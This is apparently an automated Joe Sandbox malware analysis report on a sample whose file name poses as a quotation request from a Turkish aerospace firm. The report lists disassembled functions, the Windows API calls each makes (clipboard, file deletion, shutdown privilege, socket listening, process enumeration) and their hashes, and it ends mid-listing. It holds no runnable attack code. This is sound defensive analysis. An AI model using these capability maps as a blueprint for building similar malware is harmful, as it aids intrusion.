Instruction Fuzzy Hash: 46E17B70604314AFCB14DF28C885E6BBBE4FF89714F04896DF88ADB265DA34E905CB91

Function 01014164 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0101418B
EmptyClipboard.USER32 ref: 01014191
GlobalAlloc.KERNEL32(00000002,?), ref: 010141A6
CloseClipboard.USER32 ref: 01014245

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 0b4310cc4825c38a39b80cd52ae253495fbc51edcbc06ef9320cf37af7b9c6c2
Instruction ID: ea8c77509d30e780a68f56b836da90868b32d9bc4cdbc6a25b3655d383724202
Opcode Fuzzy Hash: 0b4310cc4825c38a39b80cd52ae253495fbc51edcbc06ef9320cf37af7b9c6c2
Instruction Fuzzy Hash: 632180753002119FDB31AF64DC09B6D7BA8EF06750F14801AF986DB265DB7DA800CB54

Function 010037EF Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00FA4743,?,?,00FA37AE,?), ref: 00FA4770

Part of subcall function 01004A31: GetFileAttributesW.KERNEL32(?,0100370B), ref: 01004A32

FindFirstFileW.KERNEL32(?,?), ref: 010038A3
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 0100394B
MoveFileW.KERNEL32(?,?), ref: 0100395E
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 0100397B
FindNextFileW.KERNEL32(00000000,00000010), ref: 0100399D
FindClose.KERNEL32(00000000,?,?,?,?), ref: 010039B9

Strings

\*.*, xrefs: 0100384E, 01003857, 0100386C

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: 67ddf9d8e18b467618a76196a07405ea6ca357344cca0717a92ca07040b3af0e
Instruction ID: de19aeda0325bf6101876369d64fa02f1fca59fa3dd1b79d35b17fce6afbe11e
Opcode Fuzzy Hash: 67ddf9d8e18b467618a76196a07405ea6ca357344cca0717a92ca07040b3af0e
Instruction Fuzzy Hash: 94519F7180414D9EDF17FBA4DE92DEEB7B9AF16300F6000A9E441BA191EB256F0DDB60

Function 0100F3F3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA7DE1: _memmove.LIBCMT ref: 00FA7E22

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 0100F440
Sleep.KERNEL32(0000000A), ref: 0100F470
_wcscmp.LIBCMT ref: 0100F484
_wcscmp.LIBCMT ref: 0100F49F
FindNextFileW.KERNEL32(?,?), ref: 0100F53D
FindClose.KERNEL32(00000000), ref: 0100F553

Strings

*.*, xrefs: 0100F425

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
String ID: *.*
API String ID: 713712311-438819550
Opcode ID: 2dafe8cc2a5f3b6c0ea4c4577722de3f91e57f63eb5998ecd5591b7693930b26
Instruction ID: 2bf4f24f8752b662f9ad23c676ca7daa1ca69581538781f8d56fa87e32a001ae
Opcode Fuzzy Hash: 2dafe8cc2a5f3b6c0ea4c4577722de3f91e57f63eb5998ecd5591b7693930b26
Instruction Fuzzy Hash: 6941E07180020BAFEF61EF68CC49AEEBBB4FF05350F14409AE985A3191DB359A84DF50

Function 00FB5760 Relevance: 11.0, APIs: 7, Instructions: 532COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00FB58A5
_memmove.LIBCMT ref: 00FB58F5
_memmove.LIBCMT ref: 00FB595B

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: b0acd107f6e7ec8a371f67bb0eabfec4a86eb229b230b52d4edc0af57f5fd151
Instruction ID: 8405206fad9e270e12bf72914d91ed2ac0722557f94aadbda43088234a9cc45f
Opcode Fuzzy Hash: b0acd107f6e7ec8a371f67bb0eabfec4a86eb229b230b52d4edc0af57f5fd151
Instruction Fuzzy Hash: 5F129B70A0060ADFDF14DFA5C981AEEB7F5FF48310F104529E846E7251EB3AA915EB50

Function 01003B12 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00FA4743,?,?,00FA37AE,?), ref: 00FA4770

Part of subcall function 01004A31: GetFileAttributesW.KERNEL32(?,0100370B), ref: 01004A32

FindFirstFileW.KERNEL32(?,?), ref: 01003B89
DeleteFileW.KERNEL32(?,?,?,?), ref: 01003BD9
FindNextFileW.KERNEL32(00000000,00000010), ref: 01003BEA
FindClose.KERNEL32(00000000), ref: 01003C01
FindClose.KERNEL32(00000000), ref: 01003C0A

Strings

\*.*, xrefs: 01003B5B

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 9cbb46caf6486ed5eb38368d9713633468e27462e7963c49c754f2ca40454d93
Instruction ID: 27a1480aa44e44c3ecbd10981aa19181102e12c95e7c5d13a74a9fc23d416237
Opcode Fuzzy Hash: 9cbb46caf6486ed5eb38368d9713633468e27462e7963c49c754f2ca40454d93
Instruction Fuzzy Hash: E9317C710083859FD316EF24DC91DAFBBE8BE96214F404D1DF4D586192EB29DA08DB62

Function 010051BD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF87E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00FF882B
Part of subcall function 00FF87E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00FF8858
Part of subcall function 00FF87E1: GetLastError.KERNEL32 ref: 00FF8865

ExitWindowsEx.USER32(?,00000000), ref: 010051F9

Strings

, xrefs: 010051E7
SeShutdownPrivilege, xrefs: 010051C9
@, xrefs: 010051EC

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 6f942d3e2bf1eb797f76696e46b4f32783daea79fb4a5a4fbbddea1d8e70f908
Instruction ID: 42d4a71b61fd76e3d1c1b3781746222ed607c5c0e96b30ef608f7976db1dc27d
Opcode Fuzzy Hash: 6f942d3e2bf1eb797f76696e46b4f32783daea79fb4a5a4fbbddea1d8e70f908
Instruction Fuzzy Hash: 84017B35791216ABF77A266C9C8AFBB72A8EF07380F100560FEC3E20C2D9551C008E90

Function 01016283 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 010162DC
WSAGetLastError.WSOCK32(00000000), ref: 010162EB
bind.WSOCK32(00000000,?,00000010), ref: 01016307
listen.WSOCK32(00000000,00000005), ref: 01016316
WSAGetLastError.WSOCK32(00000000), ref: 01016330
closesocket.WSOCK32(00000000,00000000), ref: 01016344

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: 1e48c39b159af124dd0fb8d02c1c6ec22c39770a09622a6cfe901af3dbb8dc44
Instruction ID: 70f6fdb9a06190fe1b5f68eb3902889e250f3f3c3f5fe2230ff9cb83d3bdf0c1
Opcode Fuzzy Hash: 1e48c39b159af124dd0fb8d02c1c6ec22c39770a09622a6cfe901af3dbb8dc44
Instruction Fuzzy Hash: 8B21F2702002059FCB20EF68CC45A6EB7F8EF45320F248258E996E7395CBB9AD01DB61

Function 00FB5520 Relevance: 8.0, APIs: 5, Instructions: 516COMMON

Download Yara Rule

APIs

Part of subcall function 00FC0DB6: std::exception::exception.LIBCMT ref: 00FC0DEC
Part of subcall function 00FC0DB6: __CxxThrowException@8.LIBCMT ref: 00FC0E01

_memmove.LIBCMT ref: 00FF0258
_memmove.LIBCMT ref: 00FF036D
_memmove.LIBCMT ref: 00FF0414

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID:
API String ID: 1300846289-0
Opcode ID: 9af1663907bcefa3c62fb1ba9ef476fb9ed17caf92761ca013614789982cc0bb
Instruction ID: fdd47070f93ac904e1c825d2fc1e02fba07c7ae59848f0192ec23648cbcc4d57
Opcode Fuzzy Hash: 9af1663907bcefa3c62fb1ba9ef476fb9ed17caf92761ca013614789982cc0bb
Instruction Fuzzy Hash: 3402D0B1E00209DBCF04DF65D982ABEBBB5EF44310F148069E90ADB255EF39D911EB91

Function 00FA1287 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 00FA2612: GetWindowLongW.USER32(?,000000EB), ref: 00FA2623

DefDlgProcW.USER32(?,?,?,?,?), ref: 00FA19FA
GetSysColor.USER32(0000000F), ref: 00FA1A4E
SetBkColor.GDI32(?,00000000), ref: 00FA1A61

Part of subcall function 00FA1290: DefDlgProcW.USER32(?,00000020,?), ref: 00FA12D8

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: 070a6ceef8ad15ababdf7021e55c1766a8c71c112a15eb5c7a23b1fec9b611ff
Instruction ID: c3e663edd78890bb2f64e6557a88e02d1af836faf53754892dbc950fbb91915e
Opcode Fuzzy Hash: 070a6ceef8ad15ababdf7021e55c1766a8c71c112a15eb5c7a23b1fec9b611ff
Instruction Fuzzy Hash: EDA139F2506596FAE638AE288C54EBF355DFF473A1F1B010AF542D6291CA2D8D01F272

Function 01016747 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 01017D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 01017DB6

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 0101679E
WSAGetLastError.WSOCK32(00000000), ref: 010167C7
bind.WSOCK32(00000000,?,00000010), ref: 01016800
WSAGetLastError.WSOCK32(00000000), ref: 0101680D
closesocket.WSOCK32(00000000,00000000), ref: 01016821

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: c1bbb96f209f7b54e0e0f32b50e00ca9fdc7a440d641fe31455b71114a610f01
Instruction ID: 6cfb7f1789635b535ada9dd10bad53bc1e129618d9b8584ed97c0d503905c283
Opcode Fuzzy Hash: c1bbb96f209f7b54e0e0f32b50e00ca9fdc7a440d641fe31455b71114a610f01
Instruction Fuzzy Hash: D141C2B5A00210AFDB20BF248C86F6E77E8AF06754F44856CF955AB3C2DABC9D019791

Function 01025376 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 010253C5
IsWindowEnabled.USER32 ref: 010253D3
GetForegroundWindow.USER32(?,?,00000001), ref: 010253E0
IsIconic.USER32 ref: 010253EE
IsZoomed.USER32 ref: 010253FC

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: b2b437dcf21eb78ce7e3cdb281c24e189f59d18302cb570cd24c4c53fcde7525
Instruction ID: 670a0f23cae3ec4601a8a73cd6053e49a11ea6c80efead6be667c0108bb3f382
Opcode Fuzzy Hash: b2b437dcf21eb78ce7e3cdb281c24e189f59d18302cb570cd24c4c53fcde7525
Instruction Fuzzy Hash: 7A11E7717001216FEB315F2ADC44AAEBBE9FF457A1F548068F9C5D3241CBB8D8018BA8

Function 00FF80A9 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00FF80C0
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00FF80CA
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00FF80D9
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00FF80E0
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00FF80F6

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: bd4a7b93057980619cdbcd1ef3a8a94ff87aef6d61f12688fce9da9daf9d447b
Instruction ID: 578e9a5683c6ad83ee1a43e7ad780f598e95dbb9a1a9d0869647d459ca5e1c0e
Opcode Fuzzy Hash: bd4a7b93057980619cdbcd1ef3a8a94ff87aef6d61f12688fce9da9daf9d447b
Instruction Fuzzy Hash: 3DF04431640205AFDB301E65DC8DE773BBCEF457E5B600115F645C6250CB659C42DB60

Function 0100C397 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0100C432
CoCreateInstance.OLE32(01032D6C,00000000,00000001,01032BDC,?), ref: 0100C44A

Part of subcall function 00FA7DE1: _memmove.LIBCMT ref: 00FA7E22

CoUninitialize.OLE32 ref: 0100C6B7

Strings

.lnk, xrefs: 0100C3C6, 0100C3EE, 0100C3F8

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: 560cf9a0dc72b05bc1180724e91f81d568908c00de011e5880ff9217ad2e72d6
Instruction ID: 67e449088993bf2f5256eb27139dbd7f0f63f0c85d530651fbf58c068432dbe7
Opcode Fuzzy Hash: 560cf9a0dc72b05bc1180724e91f81d568908c00de011e5880ff9217ad2e72d6
Instruction Fuzzy Hash: 8FA13AB1108205AFD700EF54CC81EABB7ECEF89354F00492CF1959B1A2DBB5EA09CB52

Function 00FA4B37 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00FA4AD0), ref: 00FA4B45
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00FA4B57

Strings

kernel32.dll, xrefs: 00FA4B40
GetNativeSystemInfo, xrefs: 00FA4B51

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 6c93e1cbb7fff1de9fc5b505fb4092ef12305daac6de52cb4339b59340677e09
Instruction ID: ebc6d9139b383b5e8a6f53b48b60b613de144aab02347c3165f29fce8eb69632
Opcode Fuzzy Hash: 6c93e1cbb7fff1de9fc5b505fb4092ef12305daac6de52cb4339b59340677e09
Instruction Fuzzy Hash: EAD01274A10723CFD7309F32D828B06B6F4AF867D1B21882DD4C5D6100D7B4E880C764

Function 00FB3030 Relevance: 6.6, APIs: 4, Instructions: 587COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: __itow__swprintf
String ID:
API String ID: 674341424-0
Opcode ID: 674e01c9df112c2558dc2496b1a74b9b61d8c81e75cbd1aec7cc3db74e55e4eb
Instruction ID: 08c702879bec1227a199222c127bf9b3515c2ac70390ddda464b6b660e7b62ea
Opcode Fuzzy Hash: 674e01c9df112c2558dc2496b1a74b9b61d8c81e75cbd1aec7cc3db74e55e4eb
Instruction Fuzzy Hash: 6022BC71A083419FC724DF25C881BAFB7E4AF85750F14492CF88A97291DB79E904EF92

Function 0101EE0D Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0101EE3D
Process32FirstW.KERNEL32(00000000,?), ref: 0101EE4B

Part of subcall function 00FA7DE1: _memmove.LIBCMT ref: 00FA7E22

Process32NextW.KERNEL32(00000000,?), ref: 0101EF0B
CloseHandle.KERNEL32(00000000,?,?,?), ref: 0101EF1A

Memory Dump Source

Source File: 00000000.00000002.1491790033.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1491770776.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491850236.0000000001054000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491911513.000000000105E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1491930865.0000000001067000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZA.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: 97a41d3164c7024e0ddc446e2201794add6b67a88f7c90242ff6bf7044a72acd
Instruction ID: 8b9c27e389488a9a139d51132f80ad4b3ff87cb0337bb0e80bc079e58a6f866f
Opcode Fuzzy Hash: 97a41d3164c7024e0ddc446e2201794add6b67a88f7c90242ff6bf7044a72acd
Instruction Fuzzy Hash: 59517EB15083019FD321EF24CC81E6BB7E8EF99750F50482DF99597291EB78E908DB92

Function 00FAFCE0 Relevance: 5.5, APIs: 3, Instructions: 1040COMMON

Download Yara Rule

